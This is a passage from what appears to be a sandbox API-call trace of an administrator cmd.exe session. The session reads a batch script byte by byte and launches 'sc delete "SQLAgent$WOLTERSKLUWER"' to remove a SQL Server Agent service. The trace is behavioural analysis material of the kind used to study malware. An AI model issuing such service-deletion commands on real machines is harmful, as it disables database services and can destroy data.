lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="t$PROGID\"\nER\"\n\n\n") returned 1 [0071.672] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.672] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.672] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.672] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="$PROGID\"\nER\"\n\n\n") returned 1 [0071.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="WROGID\"\nER\"\n\n\n") returned 1 [0071.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="OOGID\"\nER\"\n\n\n") returned 1 [0071.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="LGID\"\nER\"\n\n\n") returned 1 [0071.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="TID\"\nER\"\n\n\n") returned 1 [0071.673] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.673] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.673] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.673] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="ED\"\nER\"\n\n\n") returned 1 [0071.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.674] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="R\"\nER\"\n\n\n") returned 1 [0071.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.674] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="S\nER\"\n\n\n") returned 1 [0071.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.674] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="KER\"\n\n\n") returned 1 [0071.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.674] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="LR\"\n\n\n") returned 1 [0071.674] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.674] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.674] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.674] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="U\"\n\n\n") returned 1 [0071.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35c, cchWideChar=1 | out: lpWideCharStr="W\n\n\n") returned 1 [0071.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35e, cchWideChar=1 | out: lpWideCharStr="E\n\n") returned 1 [0071.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e360, cchWideChar=1 | out: lpWideCharStr="R\n") returned 1 [0071.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e362, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0071.675] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.675] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.675] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.675] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e364, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0071.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.676] GetFileType (hFile=0xb8) returned 0x3 [0071.676] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.676] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.676] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.676] GetFileType (hFile=0x120) returned 0x3 [0071.676] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.676] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n", lpUsedDefaultChar=0x0) returned 36 [0071.676] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x23, lpOverlapped=0x0) returned 1 [0071.676] GetProcessHeap () returned 0x4a0000 [0071.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.676] GetProcessHeap () returned 0x4a0000 [0071.676] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.676] GetProcessHeap () returned 0x4a0000 [0071.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.676] GetProcessHeap () returned 0x4a0000 [0071.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.676] GetProcessHeap () returned 0x4a0000 [0071.676] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x52) returned 0x4bba10 [0071.677] GetConsoleOutputCP () returned 0x1b5 [0071.677] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.677] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.677] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.677] GetProcessHeap () returned 0x4a0000 [0071.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.677] GetProcessHeap () returned 0x4a0000 [0071.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x58) returned 0x4b9b30 [0071.677] GetProcessHeap () returned 0x4a0000 [0071.677] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc590 [0071.677] SetErrorMode (uMode=0x0) returned 0x1 [0071.677] SetErrorMode (uMode=0x1) returned 0x0 [0071.678] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5a0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.678] SetErrorMode (uMode=0x1) returned 0x1 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc590, Size=0x62) returned 0x4bc590 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc590) returned 0x62 [0071.678] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.678] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.678] GetProcessHeap () returned 0x4a0000 [0071.678] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.678] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.679] GetProcessHeap () returned 0x4a0000 [0071.679] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0071.679] GetProcessHeap () returned 0x4a0000 [0071.679] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0071.679] GetProcessHeap () returned 0x4a0000 [0071.679] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0071.679] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.679] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.679] GetLastError () returned 0x2 [0071.679] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.679] GetLastError () returned 0x2 [0071.679] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0071.680] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0071.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.680] GetLastError () returned 0x2 [0071.680] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0071.680] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0071.680] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.680] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.680] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.681] GetProcessHeap () returned 0x4a0000 [0071.681] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.681] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.681] GetProcessHeap () returned 0x4a0000 [0071.681] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xbe) returned 0x4b9180 [0071.681] GetProcessHeap () returned 0x4a0000 [0071.681] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xbe [0071.681] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$WOLTERSKLUWER\"") returned 1 [0071.682] GetProcessHeap () returned 0x4a0000 [0071.682] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.682] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.682] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.682] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.682] GetProcessHeap () returned 0x4a0000 [0071.682] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.682] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.683] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.683] GetProcessHeap () returned 0x4a0000 [0071.683] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.683] GetProcessHeap () returned 0x4a0000 [0071.683] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.683] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x36c, dwThreadId=0xb70)) returned 1 [0071.687] CloseHandle (hObject=0x54) returned 1 [0071.687] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.687] GetProcessHeap () returned 0x4a0000 [0071.687] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba70 | out: hHeap=0x4a0000) returned 1 [0071.687] GetEnvironmentStringsW () returned 0x4bba70* [0071.687] GetProcessHeap () returned 0x4a0000 [0071.687] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0071.687] FreeEnvironmentStringsW (penv=0x4bba70) returned 1 [0071.687] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.687] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.687] 